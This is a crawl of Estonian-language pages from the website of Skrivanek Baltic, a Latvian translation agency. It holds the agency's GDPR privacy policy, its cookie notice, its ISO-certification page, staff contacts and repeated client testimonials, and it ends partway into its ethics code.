ja kliinilised uuringud Töötlev tööstus Reklaam ja turundus Kaubandus Turism Riigi- ja omavalitsusasutused USALDUSVÄÄRSUS. KVALITEET. KRKA, d. d. Skrivaneki meeskond on abivalmis ja vastutulelik. Meie päringutele, mis on seotud meditsiinitekstide tõlgetega, lähenetakse väga mõistvalt ka siis, kui on vaja tõlkida mitmest eri keelest korraga. Tellimused teostatakse, järgides kõrgeid kvaliteedistandardeid ja eetikanorme, ning kinni peetakse ka tähtaegadest.  Adidas Baltic Skrivaneki töötajad on väga abivalmid ning lähenevad mõistvalt meie tõlgete spetsiifikale, mis hõlmab Baltikumis räägitavaid keeli. Soovitame ka teistel firmadel kasutada Skrivaneki pakutavaid teenuseid.  Sandoz d. d. Soovitame Skrivanek Balticut kui usaldusväärset koostööpartnerit, kui on vaja tõlkida suuremahulisi projekte, mis nõuavad professionaalset lähenemist.  --- - Published: 2022-05-11 - Modified: 2022-06-21 - URL: https://skrivanek.lv/privatuma-politika/ - Translation Priorities: Optional 1. 1. isikuandmete vastutav töötleja on SIA Skrivanek Baltic, rg-kood: 40003626172, juriidiline aadress: Lāčplēša 87C, Riia, LV-1011, Läti, telefon: +371 26382 680 (edaspidi: Skrivanek), veebisait: www. skrivanek. lv, www. bernunometnes. lv, www. valodumacibas. lv. 2. 1. Skrivanek töötleb klientide isikuandmeid sellises mahus ja korras, nagu seda sätestavad ja lubavad Eesti Vabariigi ja Euroopa Liidu õigusaktid. Klientide andmeid on õigus saada ja töödelda ka teistel Skrivaneki isikuandmete volitatud töötlejatel. Täpsema teabe saamiseks koostööpartnerite kohta võtke Skrivanekiga ühendust nimetatud suhtluskanalite kaudu (vt Skrivaneki veebisaidi www. skrivanek. lv/et jaotist „Kontakt”). 3. 1. Euroopa Parlamendi ja nõukogu määrus (EL) 2016/679 füüsiliste isikute kaitse kohta isikuandmete töötlemisel ja selliste andmete vaba liikumise kohta (27. aprill 2016); 3. 2. isikuandmete kaitse seadus. 4. 2. Kui Skrivanek uuendab neid põhimõtteid, avaldatakse kõik muudatused Skrivaneki veebisaidil www. skrivanek. lv/et jaotises – „Privaatsuspõhimõtted”. 5. 1. Skrivaneki töödeldavate isikuandmete kategooriad sõltuvad kliendile osutatavatest teenustest. Skrivanekil on õigus töödelda järgmiste kategooriate isikuandmeid nende põhimõtete 7. punktis nimetatud eesmärkidel: 5. 1. 1. ees- ja perekonnanimi, isikukood/sünnikuupäev, postiaadress, telefoninumber ja e-posti aadress; 5. 1. 2. pangarekvisiidid; 5. 1. 3. isikut tõendavate dokumentide andmed (dokumendi number, väljaandmise kuupäev ja koht jne); 5. 1. 4. andmed, mida klient ise Skrivanekile teatab. 5. 2. Skrivanek töötleb järgmisi andmeid teenuste kasutamise kohta nende põhimõtete 7. punktis nimetatud eesmärkidel: 5. 2. 1. küpsised (veebisaidi kasutamise andmed) – andmed Skrivaneki veebisaidi (www. skrivanek. lv) (edaspidi: Skrivaneki veebisait) külastamise kohta. 6. 1. Kliendi nõusolek – klient annab andmesubjektina ise nõusoleku isikuandmete kogumiseks ja töötlemiseks kindlaks määratud eesmärkidel. Kliendi nõusolek on tema vaba tahe ja iseseisev otsus. Ta võib selle anda mis tahes hetkel, lubades nii Skrivanekil töödelda isikuandmeid kindlaks määratud eesmärkidel. Kliendi nõusolek on siduv, kui see on antud kirjalikult (täites vormi Skrivaneki büroos, saates elektroonilise taotluse pärast kliendi identifitseerimist või kasutades veebisaiti www. skrivanek. lv). Kliendil on õigus millal tahes oma varem antud nõusolek tühistada, kasutades nimetatud suhtluskanaleid (vt Skrivaneki veebisaidi www. skrivanek. lv/et jaotist „Kontakt”). Teatatud muudatused jõustuvad kolme tööpäeva jooksul. Nõusoleku tühistamine ei mõjuta enne tühistamist nõusoleku alusel toimunud töötlemise seaduslikkust. 6. 2. Lepingu sõlmimine ja täitmine – et Skrivanek võiks sõlmida kliendiga lepingut ja seda kliendile kvaliteetselt teenuseid osutades täita, peab ta koguma ja töötlema teatud isikuandmeid. Neid kogutakse enne lepingu sõlmimist Skrivanekiga või juba sõlmitud lepingu kehtivusajal. 6. 3. Skrivaneki õigustatud huvid – vastavalt Skrivaneki huvidele, mille aluseks on kvaliteetsete teenuste osutamine ja õigeaegse toe pakkumine kliendile, on Skrivanekil õigus töödelda kliendi isikuandmeid selliseid mahus, mis on objektiivselt vajalik ja piisav nende põhimõtete punktides 7. 1. kuni 7. 3. nimetatud eesmärkidel. Skrivaneki õigustatud huvideks loetakse isikuandmete töötlemist otseturunduse tegemisel, mille tulemusel tehakse kliendile uusi ja/või individuaalseid Skrivaneki teenuste pakkumisi (vt ka nende põhimõtete punkte 8. 2. ja 8. 3. ). Kuna Skrivanek on kontserni SKRIVANEK Holding SE ettevõtete osa (vt ka nende põhimõtete punkti 12. 4. ), on tema õigustatud huvi töödelda oma klientide andmeid, saates neid kontserni teistele ettevõtetele sisemistel halduslikel eesmärkidel, st et kontserni SKRIVANEK Holding SE ettevõtete tasemel saaks klientidele pakkuda tänapäevastele nõuetele vastavaid teenuseid. 6. 4. Õigusaktidest tulenevate kohustuste täitmine – Skrivanekil on õigus töödelda isikuandmeid, et täita õigusaktide nõudeid ning vastata riigi ja omavalitsuse seaduslikele päringutele. 7. 1. Skrivanek töötleb isikuandmeid, et tagada kvaliteetne teenuste osutamine Skrivanekiga sõlmitud lepingu kehtivusajal: 7. 1. 1. klientide kaebuste läbivaatamiseks ja toe (sh tehnilise) pakkumiseks seoses osutatavate teenustega; 7. 1. 2. rahavoogude tõhusaks haldamiseks, sh kliendi maksete ja võlgade haldamiseks; 7. 1. 3. klientide teavitamiseks teiste kontserni SKRIVANEK Holding SE ettevõtete teenustest. 7. 2. Skrivanek töötleb isikuandmeid, et soodustada valdkonna arengut ja pakkuda klientidele uusi teenuseid, sh: 7. 2. 1. uute teenuste loomiseks ja nende kohta pakkumiste tegemiseks; 7. 2. 2. turu analüüsimiseks ja ärimudeli arendamiseks tehakse Skrivaneki klientide andmete kohta statistilisi analüüse. 7. 3. Skrivanek töötleb isikuandmeid, et luua ja hoida käimas Skrivaneki sisemisi protsesse ning tagada dokumentide ringlust ja muid sisemisi protsesse (näiteks lepingute ja teiste dokumentide arhiveerimist) talle vajalikus ja piisavas mahus. 7. 4. Skrivanekil on õigus töödelda andmeid allnimetatud ja samuti teistel eesmärkidel, saades kliendilt vabatahtliku ja selgesõnalise nõusoleku: 7. 4. 1. kliendi isikuandmete kontrollimine võlglaste andmebaasidest enne lepingu sõlmimist, et hinnata kliendi võimet täita lepingulisi kohustusi. Lepingu kehtivusajal on selline kontrollimine vajalik, et pakkuda kliendile uusi ja nüüdisaegsemaid teenuseid; 7. 4. 2. Skrivaneki äratuntavuse soodustamiseks turul, saates klientidele toredaid soove, andes boonuseid, korraldades küsitlusi teenuste parandamiseks ja uute teenuste loomiseks. 8. 1. Profiilianalüüs kliendi isikuandmete põhjal kui andmete töötlemine: 8. 1. 1. profiilianalüüs on igasugune automatiseeritud isikuandmete töötlemine, mille käigus hinnatakse füüsilise isikuga seotud isiklikke aspekte, mille eesmärk on eelkõige selliste aspektide analüüsimine ja prognoosimine, mis on seotud füüsilise isiku isiklike eelistuste või huvide, usaldusväärsuse või käitumise, asukoha või liikumisega; 8. 1. 2. Skrivanek võib isikuandmeid töödeldes teha profiilianalüüsi, et koostada ja teha individuaalseid pakkumisi. Automatiseeritud töötlemisel põhinevaid üksikotsuseid tehakse ainult ärilistel eesmärkidel ning need ei loo kliendile õiguslikke tagajärgi. Kliendil on alati õigus esitada vastuväide automatiseeritud töötlusel põhinevate otsuste tegemise kohta ja mitte olla nii vastu võetud otsuse subjektiks (vt ka nende põhimõtete punkti 8. 3. sätteid). 8. 2. Otseturundus ja alus saata klientidele ärilisi teadaandeid: Skrivanek teeb otseturundust, saates klientidele ärilisi teadaandeid, et kliendid oleksid alati informeeritud uutest ja/või spetsiaalselt neile loodud teenustest ja spetsiaalsetest lepingutingimustest (näiteks hinnasoodustustest), vastavalt nende põhimõtete punktis 6. 3. nimetatud isikuandmete töötlemise alusele. Klientidel on õigus igal ajal ja tasuta loobuda äriliste teadaannete saamisest, teavitades sellest Skrivaneki (vt ka nende põhimõtete punkti 8. 3. sätteid). 8. 3. Klientidel on õigus igal ajal esitada vastuväide profiilianalüüsi tegemise kohta oma isikuandmete alusel (vt punkti 8. 1. ) või loobuda äriliste teadaannete saamisest (vt punkti 8. 2), teavitades sellest Skrivaneki suuliselt (telefonikõne ajal pärast kliendi identifitseerimist, helistades telefonil +371 26 382 680) või kirjalikult (täites vormi Skrivaneki büroos, saates elektroonilise päringu taotluse aadressil sales@skrivanek. ee või külastades Skrivaneki bürood). Teatatud muudatused jõustuvad kolme tööpäeva jooksul. Muudatused ei mõjuta enne selles punktis nimetatud kliendi vastuväiteid ja/või loobumist toimunud isikuandmete töötlemist. 9. 1. Küpsised on väikesed andmefailid, mis on olulised teatud veebisaidi funktsioonide (näiteks sisselogimise) tagamiseks. Küpsised võimaldavad veebisaidil jätta meelde mitmesuguseid seadeid, näiteks keelt, kirjatüüpi ja teisi valikuid, mille te olete teinud veebisaidi kuvamisel. Seetõttu salvestatakse teie arvutisse küpsiseid. Nii toimib enamik suuremaid veebisaite ja teenusepakkujaid. 9. 2. Küpsiseid kasutades töödeldakse kasutajate üldisi harjumusi ja veebisaidi külastamise ajalugu, diagnoositakse probleeme ja puudusi veebisaidi töös, kogutakse statistikat kasutajate harjumuste kohta ning tagatakse veebisaidi funktsioonide täielik ja mugav kasutamine. 9. 3. Te võite kustutada kõik küpsised, mis on juba teie arvutis. Enamik brausereid pakub ka võimalust blokeerida küpsiste salvestamine teie arvutisse, kuid sel juhul ei saa te kasutada kõiki meie online-teenuseid. Täpsem teave teie brauseri küpsiseid puudutavate seadete kohta on saadaval brauseri väljatöötaja veebisaidil. Skrivaneki peetavatel veebisaitidel kasutatakse funktsionaalseid, analüüsi-, reklaami- ja kohustuslikke küpsiseid. Küpsiste kohta saate rohkem teavet Skrivaneki veebisaidi www. skrivanek. lv/et jaotisest „Teatis küpsiste kasutamise kohta“. 10. 1. Skrivanek saab klientide isikuandmeid, kui kliendid: 10. 1. 1. kasutavad Skrivaneki teenuseid (Skrivaneki büroos või kaugteel kliendi eelneval identifitseerimisel); 10. 1. 2. registreeruvad Skrivanekilt tellimuste, teadete või muude teenuste saamiseks; 10. 1. 3. küsivad Skrivanekilt täpsemat teavet teenuste kohta või võtavad Skrivanekiga ühendust seoses kaebuse või teabepäringuga – kliendi identifitseerimisel; 10. 1. 4. osalevad konkurssidel, loteriides või küsitlustes; 10. 1. 5. külastavad või vaatavad Skrivaneki veebisaiti; 10. 2. Skrivanek võib töödelda kolmandatelt isikutelt (näiteks võlglaste andmebaaside pidajatelt jne) saadud kliendi isikuandmeid, kui klient on sellega nõustunud. 10. 3. Skrivanek võib töödelda kliendi isikuandmeid, mis pärinevad teistelt ettevõtetelt, kontserni SKRIVANEK Holding SE ettevõtetelt ja partnerettevõtetelt (vt nende põhimõtete 12. punkti sätteid). 11. 1. Skrivanek töötleb kliendi isikuandmeid, kuni esineb vähemalt üks järgmistest asjaoludest; 11. 1. 1. kehtib kliendi ja Skrivaneki vahel sõlmitud leping; 11. 1. 2. ei ole möödunud Eesti Vabariigi ja Euroopa Liidu õigusaktides sätestatud või neist tulenev isikuandmete säilitamise tähtaeg; 11. 1. 3. see on vajalik Skrivaneki õigustatud huvide realiseerimiseks ja kaitsmiseks; 11. 1. 4. ei ole tühistatud kliendi nõusolek isikuandmete töötlemiseks. 12. 1. Klientidele teenuste osutamiseks võib Skrivanek jagada kliendi isikuandmeid: 12. 1. 1. kontserni SKRIVANEK Holding SE ettevõtetega; 12. 1. 2. partnerite või institutsioonidega, mis on seotud kliendi tellitavate või kasutatavate teenuste tagamisega; 12. 1. 3. inkassofirmade, krediidiinfobüroode, võlglaste andmebaaside pidajate ja teiste võlgade väljanõudmise organisatsioonidega; 12. 1. 4. nõude ülevõtjatega – rahavoogude tõhusaks haldamiseks on Skrivanekil õigus loovutada nõudeõigus võlgniku või võlgnike vastu. 12. 2. Skrivanek on kohustatud esitama teavet isikuandmete kohta järgmistele asutustele: 12. 2. 1. õiguskaitseasutustele, kohtule või teistele riigi- ja omavalitsuse asutustele, kui see tuleneb õigusaktidest või vastava asutuse teabepäringust; 12. 3. Skrivanek esitab klientide isikuandmeid ainult vajalikus ja piisavas mahus vastavalt õigusaktide nõuetele ja konkreetse olukorra objektiivsetele asjaoludele. 12. 4. Skrivanek jätab endale õiguse edastada vajadusel klientide isikuandmeid teistele kontserni SKRIVANEK Holding SE ettevõtetele või teenusepakkujatele, kui see on vajalik paremate ja kvaliteetsemate teenuste osutamiseks klientidele. Teabe saamiseks kontserni SKRIVANEK Holding SE ettevõtete, inkassofirmade, krediidiinfobüroode, võlglaste andmebaaside pidajate ja teiste võlgade väljanõudmise organisatsioonide ning nõude ülevõtjate kohta võtke Skrivanekiga ühendust, kasutades nimetatud suhtluskanaleid (www. skrivanek. lv/et jaotist „Kontakt”). 13. 1. Skrivanek tagab, vaatab pidevalt üle ja parandab kaitsemeetmeid, et kaitsta klientide isikuandmeid lubamatu juurdepääsu, kaotsimineku, avaldamise või hävitamise eest. Selleks kasutab Skrivanek nüüdisaegset tehnoloogiat, tehnilisi ja korralduslikke meetmeid, st tulemüüre, sissetungi avastamise ja analüüsi tarkvara ning andmete krüpteerimist. 13. 2. Skrivanek kontrollib hoolikalt kõiki teenusepakkujad, kes töötlevad Skrivaneki nimel ja ülesandel klientide isikuandmeid, samuti hindab ta, kas koostööpartnerid (isikuandmete töötlejad) rakendavad piisavaid turvameetmeid, et klientide isikuandmete töötlemine toimuks vastavalt Skrivaneki ülesandele ja õigusaktide nõuetele. Koostööpartneritel ei ole lubatud töödelda kliendi isikuandmeid oma vajadusteks. 13. 3. Skrivanek ei võta endale vastutust mitte mingi lubamatu juurdepääsu eest isikuandmetele ja/või isikuandmete kadumise eest, kui see ei sõltu Skrivanekist, näiteks kliendi süü ja/või hooletuse korral. 13. 4. Kui kliendi isikuandmed on ohus, teatab Skrivanek sellest kliendile. 14. 1. Pöörduda Skrivaneki poole, et saada Skrivaneki käsutuses olevate isikuandmete koopiat. 14. 2. Parandada kõiki Skrivaneki käsutuses olevaid enda isikuandmeid, teatades muudatustest e-posti teel elektrooniliselt allkirjastatult aadressil sales@skrivanek. ee, helistades telefonil +371 26 382 680 või külastades Skrivaneki bürood. 14. 3. Klientidel on õigus saada teavet nende füüsiliste või juriidiliste isikute kohta, kes on teatud ajavahemikul saanud Skrivanekilt nende kohta teavet. Skrivanek ei anna klientidele teavet riigiasutuste kohta, mis tegelevad kriminaalmenetluse või operatiivtegevusega ning mille kohta seadus keelab selliseid andmeid avaldamast. 14. 4. Nõuda isikuandmete kustutamist või nende töötlemise piiramist, kui nende töötlemine ei ole enam vajalik eesmärkidel, milleks neid koguti ja töödeldi (õigus olla unustatud). 14. 5. Pöörduda isikuandmete töötlemist puudutavate küsimustega Skrivaneki või isikuandmete töötlemise üle järelevalvet pidava asutuse poole. 14. 6. Pöörduda Skrivaneki andmekaitsespetsialisti poole, et saada teavet kliendi isikuandmete töötlemise ja kaitsmise kohta. Teatis küpsiste kasutamise kohta SKRIVANEKI ANDMEKAITSESPETSIALIST Uldis Krūmiņš dpo@skrivanek. lv --- - Published: 2022-05-11 - Modified: 2022-05-11 - URL: https://skrivanek.lv/privatuma-politika/pazinojums-par-sikdatnu-lietosanu/ MIS ON KÜPSISED? Need on väikesed andmefailid, mis on vajalikud veebilehtede teatud funktsioonide, näiteks sisselogimise toimimiseks. Küpsised võimaldavad veebilehtedel talletada teavet mitmete sätete, näiteks keele, fondi ja muude suvandite kohta, mille te olete veebilehtede kuvamiseks ise valinud. Seetõttu salvestame me teie arvutisse küpsiseid. Enamik suurtest veebilehtedest ja teenusepakkujatest teevad seda samuti. MILLE JAOKS ME SELLEL VEEBILEHEL KÜPSISEID KASUTAME? Olenevalt nende kestvusest võib küpsised jagada põhiliselt kaheks. Lühiajalised (seansiküpsised) säilivad teie arvutis seni, kuni teie veebibrauser suletakse, misjärel need kustutatakse. Pikaajalised (püsiküpsised) säilivad teie brauseris pikka aega (olenevalt brauserist ja küpsiste sätetest) või seni, kuni te need käsitsi kustutate. Meie kasutame oma veebilehel järgmist liiki küpsiseid. Tehnilised (lühiajalised) küpsised on hädavajalikud veebisaitide põhifunktsioonide toimimiseks, näiteks toodete lisamiseks ostukorvi, ostude menetlemiseks ja JavaScripti vajava või seda mittevajava veebilehe versiooni kuvamiseks. YouTube’i (lühi- ja pikaajalisi) küpsiseid kasutab YouTube’i videomängija. Küpsised salvestatakse teie arvutisse siis, kui te mängija käivitate. Google Analyticsi (pikaajalised) küpsised võimaldavad meil veebilehti paremini kohaldada ning me kasutame neid selleks, et mõõta tööriista Google Analytics kasutajate anonüümseid andmeid. AdWordsi (pikaajalisi) küpsiseid genereerivad reklaamisüsteemid. Need küpsised võimaldavad hinnata müügikanalite tõhusust. Facebooki (lühi- ja pikaajalisi) küpsiseid kasutab Facebooki vidin ning neid talletatakse Facebooki veebilehtedel. Twitteri (pikaajalisi) küpsiseid kasutab Twitteri vidin ning neid talletatakse Twitteri veebilehtedel. Me ei kasuta küpsiseid kunagi teie isiku tuvastamiseks ja me ei salvesta nendes tundlikke või isikuandmeid. KUIDAS KÜPSISTE KASUTAMIST MUUTA Te saate kõiki oma arvutis olevaid küpsiseid kustutada. Enamik brauseritest pakuvad ka võimalust küpsiste arvutisse salvestamine blokeerida, kuid sellisel juhul ei saa te kõiki meie veebiteenuseid kasutada. Täpsemat teavet oma brauseri küpsiste sätete kohta leiate veebibrauseri teenusepakkuja veebilehelt. Levinumate brauserite puhul võite kasutada järgmisi linke: • Chrome • Firefox • Internet Explorer • Opera • Android Üksikasjalikku teavet leiate veebilehel AboutCookies. org. GOOGLE ANALYTICSI KASUTAMINE See veebileht kasutab Google Analyticsi teenust, mida pakub Google, Inc. (edaspidi „Google“). Google Analyticsi teenus kasutab küpsiseid. Google edastab teabe veebilehe kasutamise kohta koos iga küpsise sisuga ning see teave salvestatakse USAs asuvatesse serveritesse. Google kasutab seda teavet, et hinnata veebilehe kasutamist ja luua veebilehe haldurile aruandeid tegevuse kohta ning et pakkuda veebilehe tegevuste ja interneti kasutamisega üldisemalt seotud lisateenuseid. Google võib seda teavet edastada ka kolmandatele osapooltele, kui seda nõutakse õigusaktidega või kui kolmandad osapooled teavet Google’i jaoks menetlevad. Google Analyticsi teenust on laiendatud nii, et see hõlmaks ka Google’i pakutud seotud reklaamifunktsioone, eelkõige järgmist: levaadet Google’i reklaamivõrgus toimunud kuvamiste kohta; järelturustamist (reklaamide kuvamist sisuvõrgus varem otsitud toodete põhjal); laiendatud demograafilisi ülevaateid (aruanne anonüümsetest demograafilistest andmetest). Rohkem teavet andmete menetlemise ja kasutamise kohta leiate Google’i lepingulistest tingimustest. KUIDAS GOOGLE ANALYTICSI JÄLITAMIST KEELATA Kui soovite keelata Google Analyticsi kaudu anonüümse statistika saatmist, võite kasutada Google’i selleks eesmärgiks pakutud lisandmoodulit. Lisandmoodul tuleb alla laadida ja brauserisse installida. Privaatsuspõhimõtted SKRIVANEKI ANDMEKAITSESPETSIALIST Uldis Krūmiņš dpo@skrivanek. lv --- - Published: 2022-05-11 - Modified: 2024-10-31 - URL: https://skrivanek.lv/kvalitate-un-drosiba/ - Translation Priorities: Optional Meie teenuste kvaliteedi tõstmiseks, positsiooni tugevdamiseks keeleteenuste turul ning keskkonna- ja infoturbemeetmete parandamiseks oleme Skrivanek Balticus rakendanud mitmeid juhtimissüsteeme. Skrivanek Group oli uhkuse ja rõõmuga esimene keeleteenuste pakkuja Kesk- ja Ida-Euroopas, mis vastas täielikult ISO 9001 kvaliteedijuhtimissüsteemi nõuetele ja sai TÜV Suddeutschland Holdingilt sertifikaadi 2002. aastal. Meie ettevõte on ka tõlketööstusele mõeldud EN 17100:2015 kutsealase sertifikaadi omanik. Antud standard täpsustab nõudeid tõlkeprotsessile ja sellega seonduvatele aspektidele, sealhulgas ka kvaliteedi ja jälgitavuse tõendamisele. Keskkonnasõbraliku ettevõttena oleme kasutusele võtnud EN ISO 14001 kohase keskkonnajuhtimissüsteemi. Oleme teadlikud meie tööga seonduvatest infoturbe riskidest. Sel põhjusel otsustasime rakendada ka EN ISO/IEC 27001 standardile vastavat infoturbe juhtimissüsteemi, et kaitsta klientide poolt meile usaldatud teavet hävitamise, varguse või väärkasutuse eest. 2021. aasta sügisel sai Skrivanek Baltic ka ISO 18587 sertifikaadi, mis kinnitab, et ettevõte on rakendanud kõik vajalikud menetlused, et tagada masintõlgitud tekstide kvaliteetne järeltöötlus. Rahvusvaheline standard järeltöötluse ehk masintõlkega tõlgitud tekstide järeltöötluse kohta tõlkija poolt on veel suhteliselt uus. EN ISO 9001 Rakendame kvaliteedijuhtimissüsteemi EN ISO 9001:2015. See tähendab, et kasutame oma igapäevatöös vajalikke protsesse, et meie teenused oleksid vastavuses nii klientide ootuste kui ka seadusandlusega. Ava sertifikaat EN ISO 14001 Sertifikaat 14001 kinnitab, et hoolime keskkonnast, kasutame keskkonnasäästlikke tehnoloogiaid ja materjale, sorteerime jäätmeid ning prindime vaid vajalikke dokumente. Ava sertifikaat EN 17100 Töötame Skrivanekis vastavalt EN 17100:2015 tõlkeprotsessi juhtimise standardile. See tähendab, et meie ettevõte vastab spetsiifilistele nõuetele spetsialistide valikul, kommunikatsioonis, projektijuhtimises, tööprotseduurides, tehnoloogiate kasutamisel ning muudes tõlketööstusele omastes protsessides. Ava sertifikaat ISO/IEC 27001 Rakendatud ISO/IEC 27001: 2013 teabeturbe juhtimissüsteem kinnitab, et meie ettevõte on rakendanud infoturbe meetmeid. Samuti annab see vajaliku kontrolli, et tagada meile koostööpartnerite poolt usaldatud andmete turvalisus ja konfidentsiaalsus. Ava sertifikaat ISO 18587 See standard on mõeldud keeleteenuseid pakkuvatele ettevõtetele, et parandada järeltöötlusprotsessi kvaliteeti mõõdetaval ja pideval viisil. ISO 18587 audit hõlmab peamiselt järeltöötlusprotsesse ja töövoogu, kus projektijuht ja toimetaja töötavad koos projekti lõpuleviimiseks. Ava sertifikaat KORDUMA KIPPUVAD KÜSIMUSED Meil on olemas standardite ISO 9001, EN 17100, ISO EN 14001, ISO EN 18585 ja ISO 27001 kohased sertifikaadid. Oleme pühendunud konfidentsiaalsusele, võtame vastutuse kõige tehtu eest ja oleme alati ajaliselt täpsed! Standardis EN 17100 on hõlmatud protsessi juhtimise nõuded tõlketeenuste osutajatele. Oma klientide meelerahuks oleme sõlminud erialase kohustuslepingu rahvusvahelise kindlustusettevõtja Colonnade Insurance S. A. Pakume ka notariaalselt kinnitatud tõlkeid või kinnitame need ise. Ei, kõik tõlketellimused võtavad vastu ja vaatavad läbi meie projektijuhid, kes toimivad klienti ja teenuseosutajat ühendava lülina. Skrivanek Balticu tõlkijad ja tõlgid pakuvad tõlketeenuseid rohkem kui 110 keeles. Pakume kirjaliku ja suulise tõlke teenuseid ja suurel hulgal erinevaid keelealaseid lahendusi. Suulisi tõlke saab tellida konverentsidele ja ärikohtumistele ning samuti kohtuistungitele. Kirjaliku tõlke teenus hõlmab erialaseid ja üldiseid tõlkeid väga paljude valdkondade raames. Pakume ka lokaliseerimis –, teksti kohandamise, reklaamtekstide koostamise (copywriting) ja trükiettevalmistusteenuseid ning keeleõpet. INFORMĀCIJAS DROŠĪBAS POLITIKA Vairāk KVALITĀTES UN VIDES VADĪBAS INTEGRĒTĀ POLITIKA Vairāk ROHKEM KUI 25 AASTAT KOGEMUST võimaldab meil pakkuda teile parimaid tõlkelahendusi. 0+ keelt erinevates kombinatsioonides 0+ milj. tõlgitud sõna (2023) 0+ keeleeksperti 0 ISO sertifikaati USALDUSVÄÄRSUS. KVALITEET. KRKA, d. d. Skrivaneki meeskond on abivalmis ja vastutulelik. Meie päringutele, mis on seotud meditsiinitekstide tõlgetega, lähenetakse väga mõistvalt ka siis, kui on vaja tõlkida mitmest eri keelest korraga. Tellimused teostatakse, järgides kõrgeid kvaliteedistandardeid ja eetikanorme, ning kinni peetakse ka tähtaegadest.  Adidas Baltic Skrivaneki töötajad on väga abivalmid ning lähenevad mõistvalt meie tõlgete spetsiifikale, mis hõlmab Baltikumis räägitavaid keeli. Soovitame ka teistel firmadel kasutada Skrivaneki pakutavaid teenuseid.  Sandoz d. d. Soovitame Skrivanek Balticut kui usaldusväärset koostööpartnerit, kui on vaja tõlkida suuremahulisi projekte, mis nõuavad professionaalset lähenemist.  --- > 25 aastat kogemust,110+ keelt ja üle 3000 spetsialisti - tõlked Sinu ala asjatundjatelt! - Published: 2022-05-11 - Modified: 2024-01-29 - URL: https://skrivanek.lv/skrivanek-baltic/kas-mes-esam/ - Translation Priorities: Optional TEIE TÕLKEBÜROO JA KEELEÕPPEKESKUS SKRIVANEK 1 Skrivanek on üks suuremaid keeleteenuste pakkujaid maailmas, omades keeleteenuste valdkonnas enam kui 25 aasta pikkust kogemust. Praegu on bürool ligi viiskümmend filiaali eri riikides üle kogu maailma. Skrivanek Baltic tegutseb Lätis alates 2003. aastast, pakkudes oma klientidele kvaliteetseid keeleteenuseid. MISSIOON Keeleagentuuri Skrivanek Baltic missioon on pakkuda kvaliteetseid keeleteenuseid, mis soodustavad eraisikute ja ettevõtete tõhusat ja tulemuslikku suhtlust ning kestlikku tegevust nii Eestis kui ka välismaal. VISIOON Keeleagentuuri Skrivanek Baltic visioon on olla suurepärase klienditeeninduse, kõrgete kvaliteedistandardide, rahulolevate töötajate ja hea mainega ettevõte. EESMÄRGID tegutseda sotsiaalselt vastutustundliku ja kestliku ettevõttena; juurutada oma ala uuendusi ettevõtte igapäevases töös; olla usaldusväärne ja sõbralik partner meie klientidele ja tarnijatele; kaasa aidata eriala arengule ning soodustada selle maine ja kvaliteedi arengut Eestis. Eetikakoodeks Politika darbiniekiem, piegādātājiem un sadarbības partneriem VÄÄRTUSED Paindlikkus – me oleme paindlikud ja kohaneme kiiresti pidevalt muutuva tehnoloogia- ja keelemaastikuga ning klientide soovidega. Meie paindlikkus tagab meile alati suutlikkuse klientide muutuvate vajadustega sammu pidada. Me suhtume toetavalt omaenda meeskonna katsetustesse, edendades seeläbi innovatsiooni ja soodustades pidevat enesetäiustamist. Tehnoloogiad – me oleme avatud uuendustele ja kasutame tipptehnoloogiaid, et suurendada meie keeleteenuste tõhusust ja kvaliteeti. Tehnoloogilisi uuendusi võtame omaks selleks, et saaksime täiel määral pühenduda innovatsioonile ja meie klientide rahulolule. Meeskonnatöö ja ülemaailmne koostöö – me usume, et edu ja erakordsete tulemuste saavutamise võti peitub entusiastlike spetsialistide ülemaailmses koostöös. Me oleme pühendunud kaasava ja mitmekesise töökeskkonna loomisele, mis soosib nii meeskondade kui ka üksikisikute arengut. Vastutus ja väärtusloome – teie edu on meie jaoks oluline ja meie eesmärk on teie ettevõttele kasu tuua. Te võite õigeaegsete, personaalsete ja järjepidevate keeletehnoloogiliste lahenduste osas alati meie peale loota. MEIE EELISED usaldusväärne kvaliteetpikaajalised kogemusedlai teenustevalikasjatundlikud kolleegid 17 riigiskõik-ühes-keelebüroouusimad tehnoloogiad valdkonnasulatuslik tööjõudlus suurte projektide jaokskohusetundlik ja vastutustundlik suhtumineKorduma kippuvad küsimused MEIE TÖÖTAJAD JA TARNIJAD MEIE MEESKOND Praegu töötab meil rohkem kui 360 täiskohaga töötajat. Kõik meie töötajad valdavad väga hästi vähemalt ühte maailmakeelt. Meie ridadesse kuuluvad ka keeleteadlased, arvutispetsialistid, analüütikud ja majandusteadlased. TÕLKIJAD Kõiki kirjalikke tõlkeid teevad sihtkeelt emakeelena kõnelejad – see on ametlik keel riigis, kus nad elavad. Paljud tõlkijad on tõlkijate ametiliitude liikmed. Valime iga töö jaoks tõlkija niipea, kui oleme saanud teema kohta piisavalt teavet, mis võimaldab tagada parima sobivuse. KORREKTORID JA TOIMETAJAD Iga tõlke vaatavad üle vastava valdkonna korrektor ja toimetaja, kes mõlemad kõnelevad sihtkeelt emakeelena. Need spetsialistid tagavad ladusa keelekasutuse ja terminoloogia täpsuse. Vasilijs Ragačevičs Direktor vasilijs@skrivanek. lv Ivars Treskovskis Tõlkeprojektide direktor ivars@skrivanek. lv Aiga Matveja Õppekeskuse juhataja macibas@skrivanek. lv Lelde Calmane Kvaliteediosakonna juhataja lelde@skrivanek. lv Jānis Luns Turundusjuht evita@skrivanek. lv Jeļena Lapoška Haldusosakonna juhataja jelena. laposka@skrivanek. lv Uldis Krūmiņš IT-administraator uldis@skrivanek. lv Dana Laizāne Lokaliseerimise ja tehisintellekti projektide direktor dana@skrivanek. lv USALDUSVÄÄRSUS. KVALITEET. KRKA, d. d. Skrivaneki meeskond on abivalmis ja vastutulelik. Meie päringutele, mis on seotud meditsiinitekstide tõlgetega, lähenetakse väga mõistvalt ka siis, kui on vaja tõlkida mitmest eri keelest korraga. Tellimused teostatakse, järgides kõrgeid kvaliteedistandardeid ja eetikanorme, ning kinni peetakse ka tähtaegadest.  Adidas Baltic Skrivaneki töötajad on väga abivalmid ning lähenevad mõistvalt meie tõlgete spetsiifikale, mis hõlmab Baltikumis räägitavaid keeli. Soovitame ka teistel firmadel kasutada Skrivaneki pakutavaid teenuseid.  Sandoz d. d. Soovitame Skrivanek Balticut kui usaldusväärset koostööpartnerit, kui on vaja tõlkida suuremahulisi projekte, mis nõuavad professionaalset lähenemist.  --- - Published: 2022-05-11 - Modified: 2022-05-11 - URL: https://skrivanek.lv/etikas-kodekss/ - Translation Priorities: Optional Meie äritegevuse alus on vastutustunne, usaldusväärsus ja ausus. Need on kolm põhiväärtust, mille järgimine tagab meile 